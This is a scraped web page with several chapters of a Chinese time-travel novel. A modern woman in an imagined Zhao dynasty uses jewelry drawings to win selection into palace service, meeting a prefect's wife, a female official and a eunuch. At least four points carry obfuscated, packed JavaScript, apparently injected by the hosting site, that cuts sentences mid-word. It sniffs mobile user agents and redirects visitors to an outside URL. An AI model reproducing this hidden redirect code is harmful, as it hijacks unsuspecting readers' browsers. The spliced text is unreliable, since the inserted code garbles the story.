冯昀对昭朝的审美还是有些了解的,前中期以简洁大方为主,自祐宁起逐渐发展成为奢华精致的风格,宫廷之中更是尤其注重将衣饰与宗教信仰相结合——当今皇帝的母亲程太后笃信佛教,皇帝则酷爱道教,祐宁一朝的后宫妃嫔便也跟风修习,博物馆中也有不少相关展览,佛教八宝、菩萨罗汉和道教的仙君神妃在其中是常见元素。 冯昀将自己不大满意的稿子拿出来,随后走到一边,道:“给,英华,在我的原稿上勾线练习就好。” 陈英华吓了一跳,“啊?这么好的东西……让我来描,不就描坏了吗……” “没事,之后我还能再画。” 陈英华见她神情从容,终于狠下心,拿起笔开始在冯昀的线稿上勾勒线条。 不知过了多久,外面的天色渐亮,传来了敲门声,陈英华立刻放下手中的笔,走到门边让众人入内。 陈英华连同其他三人先是给冯昀简单洗漱一番,才将备好的早膳端了过来。 冯昀早就已经饿了,本想叫上陈英华直接大块朵颐,但见其他人都在旁边站着,兴许还是空着肚子来的,又觉得不太好,冯昀遂开口道:“英……小桃一个人照顾我就好,其他人都出去吧。” 其余三人闻言退了下去,只留下冯昀、陈英华两人在屋内,冯昀立刻招呼陈英华同自己坐下一起吃。 反正关着门没有旁人,也不怕被别人看见多嘴多舌。 宁家在餐食上颇为大方,给冯昀的早饭可以称得上丰富,肉丸子蛋花汤、粳米粥、主食是酥油饼,又配了两碟小菜,一碟糟鱼、一碟腌菜。 放在现代,这些菜色也就是早餐店水平,还有营养不均衡的嫌疑。但放在古代,一顿有肉有蛋、有腌鱼有时蔬的早饭,对于大多数人来说可谓是相当奢华。放在已经饿了好久的冯昀面前,这些更是珍馐美味。 陈英华有些不好意思,“还是姐姐先吃吧,我吃剩下的……” 冯昀想了想,又道:“英华,你帮我尝尝这饭菜做得怎么样,这叫试菜。” 陈英华啊了一声,有些犹疑,刚刚上前,冯昀已经一把拉着她坐在旁边的圆凳上,将碗推到她的面前。 “尝尝。” 陈英华对上她的目光,眨了眨眼睛,这才舀了一勺粥尝了一口,连连点头。“好吃,姐姐,很好吃。” “你再尝尝下面的,是甜的还是咸的。” 冯昀半开玩笑地让她喝了半碗粥,又让陈英华尝了尝其他的菜,见她已经吃了个半饱,方才自己动筷。 陈英华见她大快朵颐的模样,岂会不明白她这样做的用意,不由红了脸,小声嘟囔道:“谢谢……姐姐……” 冯昀闻言放下手中的饼,擦了擦嘴,这才道:“要是没有你们,我怎么有机会坐在这里吃早饭?这点小事不用客气。” 冯昀这一餐可谓风卷残云,待到她吃完缓了一会儿,边外面来了仆从,正是李玉瓶身边的大丫鬟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030718|194546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相较之前,丫鬟的语气要“恭敬”许多,显然是和宁家其他仆从一般,得到了宁家夫妻两个的勒令,对冯昀更加客气。 “冯姐姐,东西已经备齐了,太太请冯姐姐换身衣裳、插戴些简单的头面再过去。” 冯昀自然是明白李玉瓶的做法是为何,只是问道:“衣裳是什么时候准备的?” 她昨晚睡觉前也在房内大概瞧了瞧,按理说应该没有监视的人才对,怎么连她的衣裳尺码都摸清楚了…… 丫鬟笑道:“娘平日里经手的事情多着呢,昨日冯姐姐在娘身边坐着,娘只一扫就看出来冯姐姐穿几尺布的衣裙了,便让家中将今冬新做的衣裳改了尺寸给冯姐姐送来,穿出去走动也不叫他人看轻了我们。” 冯昀原本还有些警觉,听到这里转念一想,倒是也有可能,毕竟古时的富贵人家不需要劳作,衣裳放量自然是越大越美,只要能够大概估计出身高,将长短简单改改,衣裳基本是人人都能穿。 再看身后的两个小丫鬟,一个手里里面是月白绫袄和宝蓝妆花缎裙,还有一件石青披风,另一个则是一套金首饰并灰色卧兔,看着简朴,但这些首饰的手艺一看便知道不简单,显然是出自技艺娴熟的匠人之手。 见冯昀顺从地坐下,丫鬟们便纷纷上前为她简单妆点起来。 如今时节特殊,冯昀的打扮是不能太过简单,否则就是正中外面那些“造谣之人”的下怀。 这么一番打扮下来,冯昀被这衣裙首饰簇拥,又被脂粉打扮一番,再也看不出一点传闻中的“疯婆子”的影子。 冯昀看着镜子里的自己,尽管知道自己身上穿的是货真价实的“文物”,也没办法像在现代时那样高兴。 她将桌上已经晾干的画纸卷起,知道这些就是自己如今最大的倚仗。 几个丫鬟引着冯昀再次前往李玉瓶的院子,李玉瓶瞧见她,眼前一亮,拉着她的手笑道:“妹妹果然是清水芙蓉,天生丽质,简单打扮一番也如此出挑。” 冯昀见她一派富贵闲妆,可见心情比之昨日好了许多,便跟着李玉瓶露出一个笑容,配合地开口道:“太太夸得人不好意思,哪里有那么好……” 李玉瓶轻轻拍拍她的手背,轻轻捏了一下,笑道:“好巧不巧,知府夫人叫我过去喝茶,正好你也在,不如我们一并过去。” 这是早就商量好的事情,冯昀当然不会拒绝,乖顺道:“都听太太的安排。” 褚大珰来原城选人,落脚便在河洛府的知府家中,明面上是李玉瓶去求见拜访知府夫人,实则是将冯昀带出去好好展示一番,让她本人亲自证明宁家从未“害人性命”。除此之外,也是为了震慑那些还在跳脚的人,不要再想着借冯昀的事情来扳倒宁家。 对于冯昀而言,这就是性命攸关的机会,若是这次没有成功,李玉瓶就是再怎么心软,宁家老爷大概率也不会放过她这个让宁家大出血的罪魁祸首。 这一把究竟是生是死,今日就要见分晓。 8. 金风荐爽(1) 冯昀坐在轿子上,心中不断确认自己的计划,不知道过了多久,原本晃晃悠悠的轿子终于停了下来,外面传来陈英华的声音: “姐姐,到了。” 冯昀借着陈英华的手下了轿子,她只扫视周围一圈,轿子显然是自角门进了知府的府邸,不远处已经有婆子丫鬟前来迎接,正同李玉瓶说话。 若说在宁家的李玉瓶如同掌管领地的狮子王,那么在知府家中的李玉瓶则要谦卑许多,可见纵使家财万贯,在官吏面前也是要低一头的。 冯昀乖乖上前,那婆子的一双眼如同扫描仪一般上下打量冯昀一番,便笑盈盈地问道:“这就是宁家四爷坟前那位……?” 李玉瓶揽着冯昀的腰让她上前,笑道:“可不是,这几日我叫人给她好好洗漱了一番,才敢带出来让夫人过目,不然看着也心烦。” 言外之意便是之前不让冯昀见人是因为她衣冠不整,怕脏了达官贵人的眼。 婆子笑道:“夫人先前就听人说过这‘起死回生’的事情,今日总算得以一见,太太同老婆子来吧。” 又走了一进院落,一路上遇上几个行礼的丫鬟婆子,一行人总算终于到了知府太太的院子,门口两个丫鬟见婆子带着人来了,一个进去通传,另一个则是打起了帘子。 冯昀跟在李玉瓶身后,暗自打量,先前只觉得宁家秩序森严,规矩繁复,但要是和知府的宅邸比起来,那就要逊色许多。 官差家中尚且如此,宫廷只怕会更加森严。 只是冯昀再也没有别的选择,只有这一条路可以走。 李玉瓶行礼道:“民妇拜见夫人。” 冯昀也有模有样地跟着李玉瓶一同向知府夫人见礼,“民女拜见夫人。” “咱们来往这些年,怎么还这般客套?你们两个快起来吧。” 李玉瓶方才起身,笑道:“若只我一人也就罢了,这次还带了这个丫头前来拜会夫人,自然不能像往日那般随意。”说罢便横了冯昀一眼。 冯昀见这两位妇人如此熟络,怎么会不明白李玉瓶那一眼的意思,人家官官相护,即便出了这么大的事情也一样来往,冯昀若是敢说什么不该说的,宁家有的是办法整治她。 林太太一张圆脸,生得慈眉善目,她对冯昀招招手,语气和善,“你过来让我瞧瞧。” 冯昀小步上前,林太太先是打量她一番,夸赞道:“确实生得有福气,难怪能够逢凶化吉。”说完,林太太又牵起她的手细细摩挲,随后问道:“你姓什么、叫什么名字?今年多大了?” “民女姓冯,家中女儿堆里行二,父母取了个拙名唤作‘昀’。” 林太太咦了一声,又细细打量她一番,道:“听你言谈举止,是个读书识字的,可口音又不像是河洛府的人,怎么到了原城呢?” 冯昀将之前在李玉瓶面前提到过的说辞又讲了一遍,几乎没有分毫差错,旁边的李玉瓶眉头渐渐舒展,可见是对冯昀放心不少。 林太太仿佛全然不知周遭的一切,只是面露慈悲,“真是天可怜见的,好好的一个姐儿,竟然吃了这么多苦头。” 李玉瓶连声道:“夫人就放宽心吧,这丫头自己也有一技之长,以后总会有好日子的。” 林太太闻言面露好奇,问道:“一技之长?这孩子能够识文断字已经不易,还会什么?” 李玉瓶笑道:“还会作画哩,夫人不信亲自瞧瞧。” 语罢,冯昀让陈英华将自己的画拿来,请林太太过目。 “好个钟灵毓秀的姐儿,工笔好看,这一手字也好看,难为你还有这么一手技艺。” 话题带了出来,李玉瓶顺势便道:“我家那个四弟也擅丹青,冯姐儿鬼门关前走了一趟,也是沾了这份光。” 林太太笑着打趣:“要不然怎么说你们宁家有块风水宝地,人杰地灵呢?” 冯昀本就觉得无趣,如今听到这些话,更有反胃之感,奈何如今是需要与宁家合作的时候,因此冯昀只能一言不发。 李玉瓶接过那画卷,笑道:“夫人放心,之后我就让家中的人打几套一模一样的头面送来,保准比这画上的还要精致几分,以后逢年过节的,夫人也能有些东西赏下面的人。” 这话说到了林太太的心底里,林太太对这二人愈发慈眉善目,道:“你有心了。” “这样的好东西我们也不敢藏私,如今天使在府上暂住,我们不敢高攀,只怕要有劳夫人转交,请大珰过目。” 该拿的东西已经到手,林太太自然不会吝啬,笑盈盈地吩咐身边的人将冯昀所画的图转交。 这些时候因为选宫人的事情,林太太也少不得牵线搭桥,对此早就习以为常,若是冯昀能在大珰面前讨着好,对他们而言何尝不是一件好事。 冯昀见林家的仆人将自己的图纸拿走,心一时间提到了嗓子眼,若非林太太和李玉瓶都在,只怕她的魂都要跟着那图纸一起走了。 其实她心中还有些担忧林太太不同意“引荐”,但如今看来,古人远没有她想象中那么“封建”,至少在分一杯羹这件事上胆子极大。 想到昭朝后期政治紊乱,前朝后宫都有体现,冯昀的神经也放松许多。 能做的事情她都已经做了,只能“尽人事,听天命”。 “后日对簿公堂的事情,你们也不用太担心,如今冯姐儿出来走动,又愿意证明你们的清白,那些人的谣言不攻自破,也并未触犯《大昭律法》,你和宁老爷还怕不能还你们一个公道?” 冯昀听到“公道”二字,只是微微低头,在心底冷笑一声。 “有大人和夫人为我家那个做主,我们当然不怕。”李玉瓶说完瞥了一眼冯昀,见她面色不变,方才又问道:“如今那些被选中的丫头都去哪里了?” “下面各县已经将人送了过来,如今都统一安置在柳园,正在让那些跟着来的女官检查身子。”林太太叹了一声,“大珰吩咐过了,待到这月月底,要将所有人聚在一起,准备一同往京城去。” 李玉瓶闻言有几分唏嘘:“原以为能待到年后……怪可怜的……” “嗳,到底是宫中采选,给他们家中的补贴可比人牙子出手大方。”林太太不以为意,道:“况且咱们北方年前年后都是天寒地冻,这些丫头们若是在路上病倒了,岂不是添晦气?倒不如趁着如今秋高气爽,早些入京,不会耽搁了大珰的差事,也是对陛下表忠心。” 冯昀在一旁听着,也明白这知府也不想这位大珰逗留太久,毕竟褚大珰在远程多待一日,他们就得多招待一日,这花销如流水一般,不仅公中暗地里要掏钱出来,他们这些地方官员也少不了“孝敬”,那这些时候的“收成”不就是竹篮打水一场空吗? 不知道过了多久,冯昀的心思几乎已经不能继续放在与林太太、李玉瓶的应和之上,但仍然没有等来任何反应。 眼看着天色渐晚,求人办事且得到回应的李玉瓶当然不会逗留,起身同林太太告辞,见冯昀神情紧张,不免在心中长叹一声。 “冯姐儿,走吧。” 冯昀下意识地攥紧了手,几乎想要直接杀到褚大珰面前来一场boss直聘,尽管她根本不知道那位传闻中的褚大珰究竟在哪里。 她甚至不知道那位所谓的褚大珰究竟是谁,毕竟这种小事放在官方记录的史书中不过是一句话的事,甚至不会提及委派的太监究竟是谁,大概也只有地方志会进行记录,尽管如此,这些资料鲜少进入大众的目光之中,而冯昀也始终是大众中普通的一员而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030719|194546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已。 冯昀正不知该如何是好之时,外面忽然传来丫鬟的声音:“夫人,裴司簿从柳园回来了。” 冯昀心中立刻燃起了希望。 没有褚大珰,有这位裴司簿在也好,比起太监,她还是更愿意信任女官。 “快请裴司簿进来。” 迎面进来一人,看着年近不惑,身着靛蓝色圆领袍,头戴纱帽,以缠花在帽边作装饰,身边跟着两个二十出头的女子,穿着打扮也如出一辙,只衣裳为豆绿色,不见插花,可见级别比为首的女子稍低。 宫廷女性因为所处环境的缘故,流传下来的资料极少,女官的日常装束究竟如何,大都是后人的猜测。 冯昀曾经看过别人的女官服饰还原视频,但见到真人那一刹还是不由怔在原地。 李玉瓶微微蹙眉,轻咳一声,道:“冯姐儿,还不快向裴司簿见礼。” 冯昀方才回过神,乖顺地屈膝见礼,“见过裴司簿。” 裴司簿语气亲和:“夫人客气了。这位是……?” 林太太笑呵呵地说道:“司簿应当听说过些风声,就是前些时候被讹传活殉的那个丫头,今日宁家太太特意领来让我瞧瞧,这不是好好一个女孩儿嘛,看着亭亭玉立、干干净净,哪像是受了什么苛待?真是叫外面的人传坏了。” 裴司簿不接她的话头,只是笑道:“原来如此……”她看向冯昀,开口问道:“你叫什么名字?家就在原城?” 冯昀立刻抓紧机会推销自己:“民女姓冯名昀,家……是原城的,略通文墨,也会几笔丹青。” “还会画画?” 冯昀见状将自己的画纸递上,殷切地望着裴司簿,期待着她的回答。 裴司簿看过那几张画,夸赞道:“这画虽然未曾上色,但仍旧栩栩如生,可见这位姑娘画技娴熟。”她望向冯昀,感叹道:“这样的才华,若我能擢选女官宫人,必然会将你选入宫中。” 所有人都听出了裴司簿的言外之音,那便是这选人入宫的权柄不在她的手中。 冯昀心中一沉,看样子只要那位褚大珰不开口,她的希望注定会全部落空……只是她心中又困惑于自己为何会失败。 按照陈子荣和她提到过的时间点,祐宁皇帝的晚年宠妃李美人应该已经初露锋芒了才对。 在冯昀的印象里,这位李美人因为面容妍丽、活泼天真而受宠,风头无两。与后宫其他妃嫔相比,李美人她性格骄纵、喜爱奢侈,屡次使用逾矩的服饰首饰,却从未被天性刻薄的皇帝责罚,可见其确实颇受宠爱。 冯昀在博物馆里见过不少她的首饰,主打富贵华丽风格,所以献给这位褚大珰的图纸也是这个调子,这位褚大珰在宫中行走,总会考虑和宠妃拉近关系的事情,因此冯昀才有一定的把握。 裴司簿已经与知府夫人打过照面,客套几句后也不再久留,起身带着两个女官离去,徒留两位太太闲聊。 裴司簿离开后约莫过了一刻,眼看着无话可说,一行人也是时候告辞,李玉瓶见冯昀恨不得双腿长在林家,显然是不愿意就此离开。 李玉瓶正要开口,一个丫鬟快步走了过来,对林太太耳语几句,林太太依然笑呵呵地开口:“冯丫头,跟她去吧,褚大珰要见你。” 哪用得着林太太指点,冯昀恨不得立刻提交入宫申请书,好让自己暂时放下悬着的一颗心,只是面上极力维持着平静与淡然。 李玉瓶还是有几分不放心,开口叮嘱道:“姐儿,大珰面前说话可要注意一些,不能像同我说话这般随意。” 林太太在一旁笑道:“你就放心吧,我看冯姐儿懂事听话,不会胡言乱语的。对吧?” 冯昀胡乱地点点头,只求能够尽快去见那位褚大珰。 9. 金风荐爽(2) 冯昀被两个人轮番敲打一番,已经冷静许多,闻言向两人行礼应下,方才跟着丫鬟离开。 她的心中难免因为隐约透露出的希望的光彩而雀跃,尽管她要去的是另一个牢笼,但至少不像现在这样面临迫切的生命危险。 不过这份激动很快便消失殆尽,冯昀跟在丫鬟身后,心中渐渐开始生出几分不安。 倒不是担心以后要当人家的牛马,而是对于一个大部分情况下都被记录者否定甚至存在丑化的未知群体的恐惧。 作为史同女的冯昀曾经在论坛上给自推的政绩辩论,特意读了不少“对家”的野史黑料,其中有一位袁姓宦官,更是冯昀的集火对象,加之此人在史料上的形象确实不佳,“性黠”“谄佞”的描述之下,也少不了被文人编排一二,留下野史二三。 虽说曾经的冯昀这样费尽心思的找“黑料”是为了战胜对方,但当时看到一部分关于宦官的史料还是难免给当初的她留下深刻的印象——绝对不是什么好印象。 宦官在昭朝时常起到的代行皇权的作用,这份权力连同他们的身份,确实在无形之中让冯昀多了几分紧张,这种危险与宁家给她的紧迫感截然不同。 “冯姑娘,到地方了。” 冯昀回过神,立刻停在院门前,看着丫鬟入内通报。 她下意识地偷偷观察着院子内,隐约看到几个穿着豆绿衣裳的人影,不知是不是宦官。 那丫鬟上前通报回来,道:“冯姑娘,大珰叫你一个人进去。” 冯昀闻言难免有些紧张,下意识地咽了咽口水。 丫鬟见状宽慰道:“放心吧,里面也有家中伺候的奴仆,不止你一个。” 冯昀微微一愣,见她冲自己点头,心中似乎多了一分安全感,小声道:“谢谢。” 因着褚大珰是天子使者,即便是临时居所,也是知府家中精心布置过的,屋内摆放着几架屏风,分别绘着梅兰竹菊,清幽雅致。 冯昀努力按下心中的几分不安,努力挺直脊背,垂首进去,见地上投射了一道影子,便知道有人正在上首,只是对方并非坐着,而是站立,显然并非传闻中的那位褚大珰。 想想也是,来巡视的大领导怎么可能亲自接见一个连底层员工都不是的编外人员呢? 冯昀的喉咙有些干涩,立刻道:“民女见过天使。” 这位不知名的使者是决定冯昀接下来的命运的人,换成是谁都会忐忑。 对方的声音要比冯昀想象中更加年轻:“起来吧。” 冯昀直起身体,微微抬眼,只看到对方蓝色衣摆上的花纹,一眼便判断出这是皇家赐服,尽管昭朝中后期赐服泛滥,但也并非普通宦官可以拥有,可见这衣服的主人在宫内有一定的地位,又或者是有一定的靠山。 冯昀几乎是立刻就想到了袁太监,史料中并未明确记载他的年龄,也没有写过他的出身,和大部分不被主流记录者重视的太监一样,袁逢恩在史书上留下姓名的时候已经是太子近侍。 莫非真有这么巧的事情?真能让她撞上? “你看什么?” 冯昀被这么冷不丁一问,下意识地想要别过头,余光却看到屏风后一个若隐若现的身影,只得硬生生停住动作,老老实实地低头拍马屁:“民女未曾见过天使,斗胆抬头,便是落选,也不算白来。”她刚刚说完,对方已经走了下来,立刻心生警惕。 初初见面,褚怀益看出她还算沉稳,虽然也有露出马脚的时刻,好在她为人还算机敏,有几分圆滑,也算得上是可塑之才。作为褚大珰养大的干儿子,褚怀益在宫中当差也有二十年,见过不少同他一般自幼在宫中伺候的宫人,冯昀一个乡野丫头能够想出以画自荐来保全自己,可见这股钻营的聪明劲儿不输那些宫人。 且其他的可以慢慢学,裴司簿在柳园暂居就是为了教养这些宫人,但冯昀对于首饰的安排布置确有几分独到之处,其中一副三英战吕布的挑心的搭配颇为亮眼,想必也能讨宫中那位最爱华贵首饰和戏曲热闹的宠妃李美人的喜欢。 “你抬起头来。” 冯昀这才重新抬眼看向对方,只见说话的宦官正站在她的面前,约莫三十岁出头,面皮算不上白净,生得一双凤眼,头戴三山帽,身着靛蓝斗牛服,比冯昀要高出半头。 他和后世电视剧里面常常出现的宦官形象一般,不见胡须,因着方颌更不见分毫阴柔之态。 褚怀益察觉到她的眼神在自己的脸上停留了片刻,只是哼了一声,反问道:“你叫什么名字?” “冯昀。” “冯昀……”褚怀益微微挑眉,随后问道:“你家没人了?” 采选宫人需要登记这些宫人的来处,以免这些宫人在宫中有个一二而不知来处,大事譬如宫人在宫中犯下大过,之后可以追根溯源,小事譬如宫人在宫中去世,若有一二积蓄,也可以花钱托人将尸骸或遗物发送还乡。 褚怀益问这些自然不是为了关心冯昀,而是方便拿捏冯昀。 “有的。” 冯昀的回答明显与褚怀益得知的情况不符,他微微眯眼,反问道:“还有谁?” “宁家的下人陈子荣和陈英华,这两人对民女有再造之恩,无异于民女的血亲,若没有他们两个,民女绝没有机会面见天使。”冯昀看向褚怀益,认真地说道:“请天使明鉴。” 褚怀益反问道:“宫人采选,出身必须是良家女子,绝不能是奴婢。你不知道吗?” 冯昀并未回答他的问题,只是真诚地说道:“不瞒天使,民女的户籍如今不在原城黄册之中,更不在此次采选宫人的范围内,若要落户原城,还得劳动天使。一个人若是有了亲人在这世上,自然就有了软肋,民女愿意任大珰随意差遣。” 褚怀益岂会不明白这一点,若要让冯昀入宫,则需要在原城给她落户,而如今冯昀身份尴尬,她的户籍落在哪里都不合适,若是独立她一人又不免牵涉设立女户的事情,也是一桩麻烦事。 偏偏冯昀也早已经想到了这一点,给了褚怀益一个完美的解决方案。 正因如此,表明冯昀是有心想要利用他们来达到自己的目的,偏偏她又这般坦然,不见丝毫扭捏。 褚怀益不得不重新审视和掂量眼前这个有些面黄肌瘦的女子,发觉她的狡黠不止一二分,藏在那双清亮的水杏眼中,颇让人咬牙切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冯昀连忙摇头,面色惶惶,“外面那些说书的老先生都说翰林是陛下面前的官儿,这事要是传到陛下的耳中,入宫的事情……” 褚怀益原本还疑心她的见识有些太广,如今听她只是担心自己的前途,便又将这点疑窦抛诸脑后。 “你当陛下是什么闲人,有心思管你这点事?不说陛下,就是那江翰林,也不过是碰巧被叫来听审,他也未必有多上心这件事。” 冯昀面上唯唯诺诺,只在心底里暗自吐槽,皇帝成日里忙着奢靡享受,当然是不会真对这些琐事上心,人家在意的是能不能维持自己的享受质量。 至于江翰林,她也说不准,焉知此江翰林是否为彼江翰林,要是真的,麻烦恐怕也不会小。 褚飞白对褚怀益吩咐道:“时候不早了,怀益,叫人将冯姑娘送回去。” “是。” 冯昀见褚飞白转身往后面去,只留褚怀益与她,正要往外退,褚怀益已经开口道:“站住,我送你回去。” 冯昀吓了一跳,一时间只顾点头应答。 难不成他还有什么事情要问? 10. 金风荐爽(3) 两人一同出了房,往林太太院子去。 过了一会儿,褚怀益才开口道:“后日的审问你稍稍留心,不必放在心上,宁家下了血本打点过,又有你这么个识时务的作证,掀不起什么风浪。” 冯昀怎么会不明白这一点,只是小声道:“大珰的赏识之恩,民女必定铭记在心,只是担心身上还有些许伤口,入不得裴司簿的眼。” 她配合只是为了方便自己入宫保命,若是不能百分之百的入宫,她还不如当场和宁家爆了,也算是给原身报仇,总比窝囊半天换不来一条命要强吧? 褚怀益听她将事情主次分得一清二楚,时时刻刻不忘入宫的事情,可见是畏惧宁家,再没了刚才那股“不过头点地”的劲儿,方觉冯昀顺眼几分。 先前冯昀是为了求生,尚可理解,但以后入宫可轮不到她说话,主见太多不是什么好事。 褚飞白不在,褚怀益倒是不似之前那样紧绷,“老爹在宫内供职多年,还会骗你一个丫头片子?如今宫内事务大都是十二监接手,谁入选、谁落选,不是尚宫局一家说了算的。” 冯昀听他如今的话,比刚才那针锋相对的模样要好上许多,虽然有些不解,但还是道:“那裴司簿为什么还会随行呢?” “采选宫人需要验身,女官查验更加公允,以免当地的妇女勾连,送些身体不好的女子入宫,但最终究竟是谁入选、谁落选,都是老爹说了算。” 褚怀益这一番话说得很客气,无形之中透露出了一件事情,女官的权力已经被宦官接手大部分,正如历史记录的那样逐步式微。 如果说最近挨的揍、吃的苦是在告诉冯昀,她确确实实已经离开了现代,那么周围的人和事则是在提醒冯昀,她确确实实穿越到了祐宁四十二年——漫长的古代历史中的一点。 冯昀的心中更多了一分阴霾。 褚怀益不知冯昀心中所想,只是道:“快到了,你回去吧。” 冯昀应声道谢,平静地回到厅内,倒是门口的陈英华见褚怀益亲自将她送回,面上流露出了喜色。 ——可见冯昀的计划已经成功。 冯昀却并没有因为这短暂的成功而欣喜若狂,反而心里乱糟糟一团。 原因无他,她在褚怀益口中听到了“江翰林”,不出意外,这个江翰林就是她所知道的那个江翰林。 冯昀虽然了解过不少昭朝历史,但也没有到能够将整个昭朝数不胜数的翰林的姓名全部记下来,但若说祐宁四十二年的江翰林,以她的判断,大概真是江霁没跑。 江霁,字至朗,又字太清,号永宁,昭朝政治家、改革家、书法家、内阁首辅。 其人曾在庆和延平期间与梧州派官员主持改革,史称“庆平新政”。当然,这场改革也和历史上许多的改革一样,最终以失败告终,江霁的下场虽不至惨不忍睹,说句凄凉也不为过,而关于他的失败原因,也是历代以来的研究重点,说法众多,但其中一个重要原因就是触及了皇帝的利益,故而不得善终。 年轻时候的江霁为人如何,史料记载不多,但通过改革期间的记载来看,江霁是个刚强的人,这也是大部分改革者具备的性格特点,往往代表着这个人有自己的原则,对于某些事情是容不下的。 宁家不收买兴许还好,宁家要是收买江霁,这位有很大可能会揭露这一点…… “姐姐。” 冯昀回过神,接过陈英华递来的那张画看了看,笔法虽然有些生疏稚嫩,但比前几张稳当许多,仿得有模有样。 冯昀真心实意地夸赞道:“英华,你学得很快。” “真的?”陈英华眼前一亮,面上更多几分期许。“我要是能和姐姐一样下笔有神就好了。” 冯昀露出一个笑容,道:“日久天长,慢慢就会好了。” 陈英华认真地劝慰道:“姐姐也是,不要再烦心了,以后慢慢都会好的。” 冯昀没想到她竟然看穿了自己的心思,先是一愣,随后笑着答应:“好。” 之后冯昀又将这些首饰上的花草虫禽如何搭配讲解了一番,陈英华听得头头是道,两人方才一同用晚膳。 待到晚上洗漱了躺在床上,陈英华躺在冯昀身边守夜,见她翻来覆去的,便小声开口问道:“姐姐是担心几日后的提审?” 冯昀没法说自己是想熬夜玩手机所以睡不着,只好轻轻地叹了一口气表示肯定。 “老爷和太太已经上下打点过,褚大珰也说要让姐姐入宫,姐姐还怕什么?” 冯昀听她这么说,心中反而有些怅然。“也不能总指望着别人救自己的命……” “我们不指望别人还能指望谁呢?” 假如是在现代,冯昀当然不会害怕,但古代就不一样了,她以前刷小视频,看过不少古代司法的黑暗案例,怎么可能会真的安心? 窗棂的影子压在她的身上,如同监狱的围栏,将躺在床内的人困住。 冯昀低声道:“人真正能指望的只有自己。” 陈英华一怔,这话与她娘当初所说一模一样,她不由转头看向黑暗之中的冯昀。 她想了许久,道理确实如此,便道:“姐姐你是个好人,老天有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032612|194546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,好人会有好报的。” 冯昀闻言忍不住低声笑了起来,却又忽然意识到这是陈英华能够给她的最好的安慰与祝福,不由有些感动,“谢谢你,英华……你和你哥哥以后一定会顺顺利利、平平安安的。” 不管之后会如何,她如今也已经竭尽全力了。 三日后,冯昀和陈英华一大早便起身梳洗,因着要去提审,一切以简洁为主,冯昀只穿浅色衣裙,不比前日去知府宅邸那般盛装。 冯昀连现代的法庭都没有去过,更不用说古代的衙门,即便知道自己这次不过是“走过场”,冯昀也格外紧张,实在吃不下去东西,只简单垫了垫肚子就去见了李玉瓶。 刚到门口,冯昀就瞧见了陈子荣等人,心下立刻明白过来,宁老爷也在那里,她立刻僵在原地不敢动弹,只觉得身上那些仍在恢复的伤口又开始隐隐作痛。 宁义广只扫了她一眼,冷哼道:“还不进来磕头问安?” 冯昀抓紧自己的手臂,她的身体还是不自觉地发抖,像是赤身站在冰天雪地之中。所以她只盯着地面不说话,好让自己克服之前殴打产生的心理恐慌。 倒是李玉瓶立刻拉住宁义广,一如既往地打趣嗔怪:“眼看着要上公堂,少在这里鼻子不是鼻子、眼睛不是眼睛,小心将冯妹妹唬得不敢说话了。”说罢,李玉瓶上前揽住冯昀的肩膀,宽慰道:“好妹妹,你且放心,今日不过是走个过场罢了,大珰和知府都安排得妥妥当当的,又有你姐夫在旁边,不会出什么差错。” 宁义广知道冯昀如今的重要性,只是重重地哼了一声,拂袖出去。 冯昀在心中暗骂,天天哼哼,因为姓宁请猪上身了是吧。 李玉瓶见丈夫离开,方才道:“冯妹妹,过去的事情你多担待,如今正是咱们共渡难关的时候,千万不要在这个时候生了嫌隙。柳园那边我也已经托知府夫人打点过裴司簿等宫中女官,保准让你顺顺利利地入宫,不埋没你的一身才华,也算是对你弥补一二。” 冯昀深觉这些话大抵是缓兵之计,只是勉强露出一个笑容,“我早就知道,姐姐与我同为女子,定然能够体谅我的心。” 李玉瓶见她面上有了笑,这才放下心来,只是叮嘱道:“公堂之上,妹妹一定要小心,那吴副千户得罪了夏指挥,他们两个斗法,指不定要怎么拿捏你。” 冯昀道:“姐姐放心,我能从死人穴里爬出来,也不是什么省油的灯。” 李玉瓶听出她话语中冷峻的幽默,一时间有些愕然、有些想笑,种种交织在一起,生出几分复杂的情绪,最终只是默然。 11. 金风荐爽(4) 